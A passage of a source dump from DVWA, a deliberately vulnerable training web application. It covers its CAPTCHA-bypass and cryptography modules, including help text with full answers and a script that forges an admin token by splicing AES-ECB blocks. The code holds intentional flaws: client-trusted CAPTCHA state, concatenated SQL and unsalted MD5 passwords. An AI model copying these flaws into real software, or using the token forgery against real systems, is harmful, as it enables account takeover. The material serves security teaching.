Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\r\n\t// Check CAPTCHA from 3rd party\r\n\t$resp = recaptcha_check_answer(\r\n\t\t$_DVWA[ 'recaptcha_private_key'],\r\n\t\t$_POST['g-recaptcha-response']\r\n\t);\r\n\r\n\t// Did the CAPTCHA fail?\r\n\tif( !$resp ) {\r\n\t\t// What happens when the CAPTCHA was entered incorrectly\r\n\t\t$html     .= \"<pre><br />The CAPTCHA was incorrect. Please try again.</pre>\";\r\n\t\t$hide_form = false;\r\n\t\treturn;\r\n\t}\r\n\telse {\r\n\t\t// CAPTCHA was correct. Do both new passwords match?\r\n\t\tif( $pass_new == $pass_conf ) {\r\n\t\t\t// Show next stage for the user\r\n\t\t\t$html .= \"\r\n\t\t\t\t<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>\r\n\t\t\t\t<form action=\\\"#\\\" method=\\\"POST\\\">\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"step\\\" value=\\\"2\\\" />\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"password_new\\\" value=\\\"{$pass_new}\\\" />\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"password_conf\\\" value=\\\"{$pass_conf}\\\" />\r\n\t\t\t\t\t<input type=\\\"submit\\\" name=\\\"Change\\\" value=\\\"Change\\\" />\r\n\t\t\t\t</form>\";\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Both new passwords do not match.\r\n\t\t\t$html     .= \"<pre>Both passwords must match.</pre>\";\r\n\t\t\t$hide_form = false;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\r\n\t// Check to see if both password match\r\n\tif( $pass_new == $pass_conf ) {\r\n\t\t// They do!\r\n\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t// Update database\r\n\t\t$insert = \"UPDATE `users` SET password = '$pass_new' WHERE user = '\" . dvwaCurrentUser() . \"';\";\r\n\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t// Feedback for the end user\r\n\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t}\r\n\telse {\r\n\t\t// Issue with the passwords matching\r\n\t\t$html .= \"<pre>Passwords did not match.</pre>\";\r\n\t\t$hide_form = false;\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/captcha/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\r\n\t// Check CAPTCHA from 3rd party\r\n\t$resp = recaptcha_check_answer(\r\n\t\t$_DVWA[ 'recaptcha_private_key' ],\r\n\t\t$_POST['g-recaptcha-response']\r\n\t);\r\n\r\n\t// Did the CAPTCHA fail?\r\n\tif( !$resp ) {\r\n\t\t// What happens when the CAPTCHA was entered incorrectly\r\n\t\t$html     .= \"<pre><br />The CAPTCHA was incorrect. Please try again.</pre>\";\r\n\t\t$hide_form = false;\r\n\t\treturn;\r\n\t}\r\n\telse {\r\n\t\t// CAPTCHA was correct. Do both new passwords match?\r\n\t\tif( $pass_new == $pass_conf ) {\r\n\t\t\t// Show next stage for the user\r\n\t\t\t$html .= \"\r\n\t\t\t\t<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>\r\n\t\t\t\t<form action=\\\"#\\\" method=\\\"POST\\\">\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"step\\\" value=\\\"2\\\" />\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"password_new\\\" value=\\\"{$pass_new}\\\" />\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"password_conf\\\" value=\\\"{$pass_conf}\\\" />\r\n\t\t\t\t\t<input type=\\\"hidden\\\" name=\\\"passed_captcha\\\" value=\\\"true\\\" />\r\n\t\t\t\t\t<input type=\\\"submit\\\" name=\\\"Change\\\" value=\\\"Change\\\" />\r\n\t\t\t\t</form>\";\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// Both new passwords do not match.\r\n\t\t\t$html     .= \"<pre>Both passwords must match.</pre>\";\r\n\t\t\t$hide_form = false;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {\r\n\t// Hide the CAPTCHA form\r\n\t$hide_form = true;\r\n\r\n\t// Get input\r\n\t$pass_new  = $_POST[ 'password_new' ];\r\n\t$pass_conf = $_POST[ 'password_conf' ];\r\n\r\n\t// Check to see if they did stage 1\r\n\tif( !$_POST[ 'passed_captcha' ] ) {\r\n\t\t$html     .= \"<pre><br />You have not passed the CAPTCHA.</pre>\";\r\n\t\t$hide_form = false;\r\n\t\treturn;\r\n\t}\r\n\r\n\t// Check to see if both password match\r\n\tif( $pass_new == $pass_conf ) {\r\n\t\t// They do!\r\n\t\t$pass_new = ((isset($GLOBALS[\"___mysqli_ston\"]) && is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"],  $pass_new ) : ((trigger_error(\"[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.\", E_USER_ERROR)) ? \"\" : \"\"));\r\n\t\t$pass_new = md5( $pass_new );\r\n\r\n\t\t// Update database\r\n\t\t$insert = \"UPDATE `users` SET password = '$pass_new' WHERE user = '\" . dvwaCurrentUser() . \"';\";\r\n\t\t$result = mysqli_query($GLOBALS[\"___mysqli_ston\"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS[\"___mysqli_ston\"])) ? mysqli_error($GLOBALS[\"___mysqli_ston\"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );\r\n\r\n\t\t// Feedback for the end user\r\n\t\t$html .= \"<pre>Password Changed.</pre>\";\r\n\t}\r\n\telse {\r\n\t\t// Issue with the passwords matching\r\n\t\t$html .= \"<pre>Passwords did not match.</pre>\";\r\n\t\t$hide_form = false;\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/cryptography/help/help.php",
    "content": "<style>\n\tpre {\n\t\toverflow-x: auto;\n\t\twhite-space: pre-wrap;\n\t\tword-wrap: break-word;\n\t}\n</style>\n\n<div class=\"body_padded\">\n\t<h1>Help - Cryptographic Problems</h1>\n\n\t<div id=\"code\">\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\n\t<tr>\n\t<td><div id=\"code\">\n\t\t<h3>About</h3>\n\t\t<p>\n\t\tCryptography is key area of security and is used to keep secrets secret. When implemented badly these secrets can be leaked or the crypto manipulated to bypass protections.\n\t\t</p>\n\t\t<p>\n\t\tThis module will look at three weaknesses, using encoding instead of encryption, using algorithms with known weaknesses, and padding oracle attacks.\n\t\t</p>\n\n\t\t<br /><hr /><br />\n\n\t\t<h3>Objective</h3>\n\t\t<p>Each level has its own objective but the general idea is to exploit weak cryptographic implementations.</p>\n\n\t\t<br /><hr /><br />\n\n\t\t<h3>Low Level</h3>\n\t\t<p>The thing to notice is the mention of encoding rather than encryption, that should give you a hint about the vulnerability here.</p>\n\t\t<p>\n\t\t<button id=\"low_button\" onclick=\"show_answer('low')\">Show Answer</button>\n\t\t</p>\n\t\t<div id=\"low_answer\">\n\t\t<p>Start by encoding a few messages and looking at the output, if you have spent any time around encoding standards you should be able to tell that it is in Base64. Could it be that simple? Try Base64 decoding some test strings to find out:</p>\n\t\t<pre><code>encode (hello) -> HwQPBBs=\nbase64decode (HwQPBBs=) -> 0x1f 0x04 0x0f 0x04 0x1b</code></pre>\n\t\t<pre><code>encode (a secret) -> FkEQDRcFChs=\nbase64decode (FkEQDRcFChs=) -> 0x16 0x41 0x10 0x0d 0x17 0x05 0x0a 0x1b</code></pre>\n<p>\nThat failed, but what you might notice is that the number of output characters matches the number of input characters. Another common encoding method that is sometimes mistaken for encryption is XOR, this takes the clear text input and XORs each character with a key which is repeated or truncated to be the same length as the input.</p>\n<p>\nXOR is associative, this means that if you XOR the clear text with the key you get the cipher text and if you XOR the cipher text with the key you get the clear text, what it also means is if you XOR the clear text with the cipher text, you get the key. Let's try this with our examples:\n</p>\n\t\t<pre><code>encode (hello) -> HwQPBBs=\nxor (HwQPBBs=, hello) -> wacht</code></pre>\n<p>\nThis looks promising, let's try the second example:\n</p>\n\t\t<pre><code>encode (a secret) -> FkEQDRcFChs=\nxor (FkEQDRcFChs=, a secret) -> wachtwoo</code></pre>\n\n<p>\nThere is no repetition in the key yet so let's try with a longer string.\n</p>\n\n\t\t<pre><code>encode (thisisaverylongstringtofindthepassword) -> AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=\nxor (thisisaverylongstringtofindthepassword, base64decode (AwkKGx0EDhkXFg4NDAYTBBsdGwoQFQwOHRkLGxoBBwAQGwMYHQs=)) -> wachtwoordwachtwoordwachtwoordwachtwoo</code></pre>\n\n<p>\nIt looks like we have found our key \"wachtwoord\". Let's give it a try on our challenge string:\n</p>\n\n<pre><code>xor (base64decode(Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=), wachtwoord) -> Your new password is: Olifant</code></pre>\n\n\n<p>\nAnd there we have it, the message we are looking for and the password we need to login.\n</p>\n\n\t\t<p>Another lesson here, do not assume that the messages or the underlying system you are working with is in English. The key \"wachtwoord\" is Dutch for password.</p>\n\t\t</div>\n\n\t\t<h3>Medium Level</h3>\n\t\t<p>The tokens are encrypted using an Electronic Code Book based algorithm (AES-128-ECB). In this mode, the clear text is broken down into fixed sized blocks and each block is encrypted independently of the rest. This results in a cipher text that is made up from a number of individual blocks with no way to tie them together. Worse than this, any two blocks, from any two clear text inputs, are interchangeable as long as they have been encrypted with the same key. In our example, this means you can take blocks from the three different tokens to make your own token.</p>\n\t\t<p>\n\t\t<button id=\"medium_button\" onclick=\"show_answer('medium')\">Show Answer</button>\n\t\t</p>\n\t\t<div id=\"medium_answer\">\n\t\t<p>\n\t\t\tHow do you know the block size? This is given in the algorithm name. aes-128-ebc is a 128 bit block cipher. 128 bits is 16 bytes, but to make things human readable, the bytes are represented as hex characters meaning each byte is two characters. This gives you a block size of 32 characters. Sooty's token is 192 characters long, 192 / 32 = 6 and so Sooty's token has six code blocks.\n\t\t</p>\n\n\t\t<p>\nLet's start by breaking the tokens down into blocks.</p>\n<p><strong>Sooty:</strong></p>\n<pre><code>e287af752ed3f9601befd45726785bd9\nb85bb230876912bf3c66e50758b222d0\n837d1e6b16bfae07b776feb7afe57630\n5aec34b41499579d3fb6acc8dc92fd5f\ncea8743c3b2904de83944d6b19733cdb\n48dd16048ed89967c250ab7f00629dba</code></pre>\n</p>\n\n<p><strong>Sweep:</strong></p>\n<pre><code>3061837c4f9debaf19d4539bfa0074c1\nb85bb230876912bf3c66e50758b222d0\n83f2d277d9e5fb9a951e74bee57c77a3\ncaeb574f10f349ed839fbfd223903368\n873580b2e3e494ace1e9e8035f0e7e07</code></pre>\n\n<p><strong>Soo:</strong></p>\n<pre><code>5fec0b1c993f46c8bad8a5c8d9bb9698\n174d4b2659239bbc50646e14a70becef\n83f2d277d9e5fb9a951e74bee57c77a3\nc9acb1f268c06c5e760a9d728e081fab\n65e83b9f97e65cb7c7c4b8427bd44abc\n16daa00fd8cd0105c97449185be77ef5</code></pre>\n\n\t\t<p>\n\t\tEach token has broken down nicely into blocks so we are on the right track.\n\t\t</p>\n\t\t<p>\n\t\tIf you look carefully at the blocks you will see that there are some that repeat over the different tokens, this means that the same clear text has been encrypted to create the block. If we look at the description we can try to map these to the JSON object.\n\t\t</p>\n\t\t<p>\n\t\tTaking Sooty as an example:\n\t\t</p>\n<p><strong>Sooty:</strong></p>\n<pre><code>e287af752ed3f9601befd45726785bd9 <- Username\nb85bb230876912bf3c66e50758b222d0 <- Expiry\n837d1e6b16bfae07b776feb7afe57630 <- Level\n5aec34b41499579d3fb6acc8dc92fd5f <- Bio\ncea8743c3b2904de83944d6b19733cdb\n48dd16048ed89967c250ab7f00629dba</code></pre>\n</p>\n\t\t<p>\n\t\tAssuming we are right with our mappings, if you compare the blocks that match you can see that Sooty and Sweep both have the same expiry block (b85bb230876912bf3c66e50758b222d0) and both Sweep and Soo have the same level block (83f2d277d9e5fb9a951e74bee57c77a3). This matches with what we know about the tokens as both Sooty and Sweep have expired tokens and both Sweep and Soo are users, not admins.\n\t\t</p>\n\t\t<p>\n\t\tKnowing all this, we can now create our forged session token. We need to take the username block from Sweep, the expiry block from Soo and the level block from Sooty. We can then finish the token off with the remaining blocks from any of the tokens. This gives us:\n\t\t</p>\n<pre><code>3061837c4f9debaf19d4539bfa0074c1 <- Sweep as username\n174d4b2659239bbc50646e14a70becef <- Soo's expiry time\n837d1e6b16bfae07b776feb7afe57630 <- Sooty's admin privileges\ncaeb574f10f349ed839fbfd223903368 <- Finish off with Sweep's bio\n873580b2e3e494ace1e9e8035f0e7e07</code></pre>\n\t\t<p>\n\t\t\tWhich gives us...\n\t\t</p>\n\t\t<p>\n<textarea style=\"width:746px; height: 35px\">3061837c4f9debaf19d4539bfa0074c1174d4b2659239bbc50646e14a70becef837d1e6b16bfae07b776feb7afe57630caeb574f10f349ed839fbfd223903368873580b2e3e494ace1e9e8035f0e7e07</textarea>\n\t\t</p>\n\t\t<p>\n\t\tThis is a very contrived setup with the tokens tweaked to force blocks to map to the JSON object so manipulation is easier to do, in the real world it is unlikely to be this easy however as data is often formed from fixed sized blocks overlaps can happen in a way that mixing blocks up results in valid data. Sometimes just being able to pass invalid data is enough so all that is needed is to swap blocks in a way that they can be decrypted and then passed on to the rest of the system where they will cause errors.\n\t\t</p>\n\t\t<p>\n\t\tIf you want to play with this some more, there is a script called <a href=\"cryptography/source/download_ecb_attack.php\" download>ecb_attack.php</a> in the sources directory which shows how the tokens were generated and lets you combine them in different ways to create custom tokens.\n\t\t</p>\n\t\t</div>\n\n\t\t<h3>High Level</h3>\n\t\t<p>The system is using AES-128-CBC which means it is vulnerable to a padding oracle attack.</p>\n\n\t\t<p>\n\t\t<button id=\"high_button\" onclick=\"show_answer('high')\">Show Answer</button>\n\t\t</p>\n\n\t\t<div id=\"high_answer\">\n\t\t<p>Rather than try to explain this here, go read this excellent write up on the attack by Eli Sohl.</p>\n\t\t<p><a target=\"_blank\" href=\"https://www.nccgroup.com/uk/research-blog/cryptopals-exploiting-cbc-padding-oracles/\">Cryptopals: Exploiting CBC Padding Oracles</a></p>\n\t\t<p>\n\t\tIf you want to play with this some more, there is a script called <a href=\"cryptography/source/download_oracle_attack.php\" download>oracle_attack.php</a> in the sources directory which runs through the full attack with debug. You can run this either against the DVWA site or it will run locally against its own pretend web server.\n\t\t</p>\n\t\t</div>\n\n\t\t<h3>Impossible Level</h3>\n\t\t<p>You can never say impossible in crypto as something that would take years today could take minutes in the future when a new attack is found or when processing power takes a giant leam forward.</p>\n\t\t<p>\n\t\tThe current recommended alternative to AES-CBC is AES-GCM and so the system uses that here. 256 bit blocks rather than 128 bit blocks are used, and a unique IV used for every message. This may be secure today but who knows what tomorrow brings?\n\t\t</p>\n\t</div></td>\n\t</tr>\n\t</table>\n\n\t</div>\n\t\n</div>\n"
  },
  {
    "path": "vulnerabilities/cryptography/index.php",
    "content": "<?php\n\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\n\ndvwaPageStartup( array( 'authenticated' ) );\n\n$page = dvwaPageNewGrab();\n$page[ 'title' ]   = 'Vulnerability: Cryptography Problems' . $page[ 'title_separator' ].$page[ 'title' ];\n$page[ 'page_id' ] = 'cryptography';\n$page[ 'help_button' ]   = 'cryptography';\n$page[ 'source_button' ] = 'cryptography';\n\ndvwaDatabaseConnect();\n\n$vulnerabilityFile = '';\nswitch( dvwaSecurityLevelGet() ) {\n\tcase 'low':\n\t\t$vulnerabilityFile = 'low.php';\n\t\tbreak;\n\tcase 'medium':\n\t\t$vulnerabilityFile = 'medium.php';\n\t\tbreak;\n\tcase 'high':\n\t\t$vulnerabilityFile = 'high.php';\n\t\tbreak;\n\tdefault:\n\t\t$vulnerabilityFile = 'impossible.php';\n\t\tbreak;\n}\n\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/cryptography/source/{$vulnerabilityFile}\";\n\n$page[ 'body' ] .= \"<div class=\\\"body_padded\\\">\n\t<h1>Vulnerability: Cryptography Problems</h1>\n\n\t<div class=\\\"vulnerable_code_area\\\">\n\";\n\n$page[ 'body' ] .= \"\n\t\t{$html}\n\t</div>\n\n\t<h2>More Information</h2>\n\t<ul>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://exploit-notes.hdks.org/exploit/cryptography/algorithm/aes-ecb-padding-attack', \"AES-ECB Padding Attack\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.scottbrady91.com/cryptopals/implementing-and-breaking-aes-ecb', \"Implementing and breaking AES ECB\") . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation', \"Wikipedia - Block cipher mode of operation\" ) . \"</li>\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.nccgroup.com/us/research-blog/cryptopals-exploiting-cbc-padding-oracles/', \"Cryptopals: Exploiting CBC Padding Oracles - Best article\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://yurichev.org/pkcs7/', \"[Crypto] PKCS#7 padding\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_oracle_attack', \"Padding oracle attack\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://medium.com/@masjadaan/oracle-padding-attack-a61369993c86', \"Oracle Padding Attack\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://robertheaton.com/2013/07/29/padding-oracle-attack/', \"The Padding Oracle Attack\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Padding_%28cryptography%29', \"Wikipedia - Padding (cryptography)\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://gchq.github.io/CyberChef/', \"CyberChef\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.101computing.net/xor-encryption-algorithm/', \"XOR Encryption Algorithm\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/XOR_cipher', \"XOR Cipher\") . \"</li> \n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.youtube.com/watch?v=7WySPRERN0Q', \"Video walk-through by CryptoCat\") . \"</li> \n\t</ul>\n</div>\\n\";\n\ndvwaHtmlEcho( $page );\n\n?>\n\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/check_token_high.php",
    "content": "<?php\n\nrequire_once (\"token_library_high.php\");\n\n$ret = \"\";\n\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\tif ($_SERVER['CONTENT_TYPE'] != \"application/json\") {\n\t\t$ret = json_encode (array (\n\t\t\t\t\t\t\"status\" => 527,\n\t\t\t\t\t\t\"message\" => \"Content type must be application/json\"\n\t\t\t\t\t));\n\t} else {\n\t\t$token = $jsonData = file_get_contents('php://input');\n\t\t$ret = check_token ($token);\n\t}\n} else {\n\t$ret = json_encode (array (\n\t\t\t\t\t\"status\" => 405,\n\t\t\t\t\t\"message\" => \"Method not supported\"\n\t\t\t\t));\n}\n\nprint $ret;\nexit;\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/check_token_impossible.php",
    "content": "<?php\n\nrequire_once (\"token_library_impossible.php\");\n\n$ret = \"\";\n\nif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\tif ($_SERVER['CONTENT_TYPE'] != \"application/json\") {\n\t\t$ret = json_encode (array (\n\t\t\t\t\t\t\"status\" => 527,\n\t\t\t\t\t\t\"message\" => \"Content type must be application/json\"\n\t\t\t\t\t));\n\t} else {\n\t\t$token = $jsonData = file_get_contents('php://input');\n\t\t$ret = check_token ($token);\n\t}\n} else {\n\t$ret = json_encode (array (\n\t\t\t\t\t\"status\" => 405,\n\t\t\t\t\t\"message\" => \"Method not supported\"\n\t\t\t\t));\n}\n\nprint $ret;\nexit;\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/download_ecb_attack.php",
    "content": "<?php\n\n// open the file in a binary mode\n$name = './ecb_attack.php';\n$fp = fopen($name, 'rb');\n\n// send the right headers\nheader(\"Content-Type: application/x-httpd-php\");\nheader(\"Content-Length: \" . filesize($name));\nheader(\"Content-Disposition: attachment; filename= ecb_attack.php\");\n\n// dump the picture and stop the script\nfpassthru($fp);\nexit;\n\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/download_oracle_attack.php",
    "content": "<?php\n\n// open the file in a binary mode\n$name = './oracle_attack.php';\n$fp = fopen($name, 'rb');\n\n// send the right headers\nheader(\"Content-Type: application/x-httpd-php\");\nheader(\"Content-Length: \" . filesize($name));\nheader(\"Content-Disposition: attachment; filename= oracle_attack.php\");\n\n// dump the picture and stop the script\nfpassthru($fp);\nexit;\n\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/ecb_attack.php",
    "content": "<?php\nfunction encrypt ($plaintext, $key) {\n\t$e = openssl_encrypt($plaintext, 'aes-128-ecb', $key, OPENSSL_PKCS1_PADDING);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Encryption failed\");\n\t}\n\treturn $e;\n}\nfunction decrypt ($ciphertext, $key) {\n\t$e = openssl_decrypt($ciphertext, 'aes-128-ecb', $key, OPENSSL_PKCS1_PADDING);\n\tif ($e === false) {\n\t\tthrow new Exception (\"Decryption failed\");\n\t}\n\treturn $e;\n}\n\n$key = \"ik ben een aardbei\";\n\n$sooty_plaintext  = '{\"user\":\"sooty\",';\n$sooty_plaintext .= '\"ex\":1723620672,';\n$sooty_plaintext .= '\"level\":\"admin\",';\n$sooty_plaintext .= '\"bio\":\"Izzy wizzy let\\'s get busy\"}';\n\n$sweep_plaintext  = '{\"user\":\"sweep\",';\n$sweep_plaintext .= '\"ex\":1723620672,';\n$sweep_plaintext .= '\"level\": \"user\",';\n$sweep_plaintext .= '\"bio\": \"Squeeeeek\"}';\n\n$soo_plaintext  = '{\"user\" : \"soo\",';\n$soo_plaintext .= '\"ex\":1823620672,';\n$soo_plaintext .= '\"level\": \"user\",';\n$soo_plaintext .= '\"bio\": \"I won The Weakest Link\"}';\n\nprint \"Sooty Plaintext\\n\";\nvar_dump ($sooty_plaintext);\n$sooty_ciphered = encrypt($sooty_plaintext, $key);\nprint \"Sooty Ciphertext\\n\";\nvar_dump (bin2hex($sooty_ciphered));\nprint \"\\n\";\n\nprint \"Sweep Plaintext\\n\";\nvar_dump ($sweep_plaintext);\n$sweep_ciphered = encrypt($sweep_plaintext, $key);\nprint \"Sweep Ciphertext\\n\";\nvar_dump (bin2hex($sweep_ciphered));\nprint \"\\n\";\n\nprint \"Soo Plaintext\\n\";\nvar_dump ($soo_plaintext);\n$soo_ciphered = encrypt($soo_plaintext, $key);\nprint \"Soo Ciphertext\\n\";\nvar_dump (bin2hex($soo_ciphered));\nprint \"\\n\";\n\n$p1 = substr (bin2hex($sweep_ciphered), 0, 32); // Sweep's username\n$p2 = substr (bin2hex($soo_ciphered), 32, 32); // Soo's expiry time\n$p3 = substr (bin2hex($sooty_ciphered), 64, 32); // Sooty's admin status\n$p4 = substr (bin2hex($sweep_ciphered), 96); // What's left\n\n$c = hex2bin($p1 . $p2 . $p3 . $p4);\n\nprint \"Breaking the tokens down into blocks\\n\";\n\nprint \"Block 1, Sweep's username\\n\";\nvar_dump ($p1);\n\nprint \"Block 2, Soo's expiry time\\n\";\nvar_dump ($p2);\n\nprint \"Block 3, Sooty's admin status\\n\";\nvar_dump ($p3);\n\nprint \"Block 4, Finish off the block\\n\";\nvar_dump ($p4);\n\nprint \"\\n\";\nprint \"New token:\\n\";\nvar_dump (bin2hex($c));\nprint \"\\n\";\n\n$hacked_deciphered = decrypt($c, $key);\nprint \"Decrypted after swapping blocks around:\\n\";\nvar_dump ($hacked_deciphered);\n$user = json_decode ($hacked_deciphered);\nif ($user === null) {\n\tthrow new Exception (\"Could not decode JSON object.\");\n}\nprint \"\\n\";\nprint \"Converted to a JSON object:\\n\";\nvar_dump ($user);\n\nif ($user->user == \"sweep\" && $user->ex > time() && $user->level == \"admin\") {\n\tprint \"Welcome administrator Sweep\\n\";\n} else {\n\tprint \"Failed\\n\";\n}\n\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/high.php",
    "content": "<?php\n\nrequire (\"token_library_high.php\");\n\n$message = \"\";\n\n$token_data = create_token();\n\n$html = \"\n\t<script>\n\t\tfunction send_token() {\n\n\t\t\tconst url = 'source/check_token_high.php';\n\t\t\tconst data = document.getElementById ('token').value;\n\n\t\t\tconsole.log (data);\n\t\t\t \n\t\t\tfetch(url, { \n\t\t\t\t\tmethod: 'POST', \n\t\t\t\t\theaders: { \n\t\t\t\t\t\t'Content-Type': 'application/json' \n\t\t\t\t\t}, \n\t\t\t\t\tbody: data\n\t\t\t\t}) \n\t\t\t\t.then(response => { \n\t\t\t\t\tif (!response.ok) { \n\t\t\t\t\t\tthrow new Error('Network response was not ok'); \n\t\t\t\t} \n\t\t\t\treturn response.json(); \n\t\t\t\t}) \n\t\t\t\t.then(data => { \n\t\t\t\t\tconsole.log(data);\n\t\t\t\t\tmessage_line = document.getElementById ('message');\n\t\t\t\t\tif (data.status == 200) {\n\t\t\t\t\t\tmessage_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')';\n\t\t\t\t\t\tmessage_line.setAttribute('class', 'success');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmessage_line.innerText = 'Error: ' + data.message;\n\t\t\t\t\t\tmessage_line.setAttribute('class', 'warning');\n\t\t\t\t\t}\n\t\t\t\t}) \n\t\t\t\t.catch(error => { \n\t\t\t\t\tconsole.error('There was a problem with your fetch operation:', error); \n\t\t\t}); \n\n\t\t}\n\t</script>\n\t\t<p>\n\t\t\tYou have managed to steal the following token from a user of the Prognostication application.\n\t\t</p>\n\t\t<p>\n\t\t\t<textarea style='width: 600px; height: 23px'>\" . htmlentities ($token_data) . \"</textarea>\n\t\t</p>\n\t\t<p>\n\t\t\tYou can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator.\n\t\t</p>\n\t\t<hr>\n\t\t<form name=\\\"check_token\\\" action=\\\"\\\">\n\t\t\t<div id='message'></div>\n\t\t\t<p>\n\t\t\t\t<label for='token'>Token:</lable><br />\n\t\t\t\t<textarea id='token' name='token' style='width: 600px; height: 23px'>\" . htmlentities ($token_data) . \"</textarea>\n\t\t\t</p>\n\t\t\t<p>\n\t\t\t\t<input type=\\\"button\\\" value=\\\"Submit\\\" onclick='send_token();'>\n\t\t\t</p>\n\t\t</form>\n\";\n\n?>\n"
  },
  {
    "path": "vulnerabilities/cryptography/source/impossible.php",
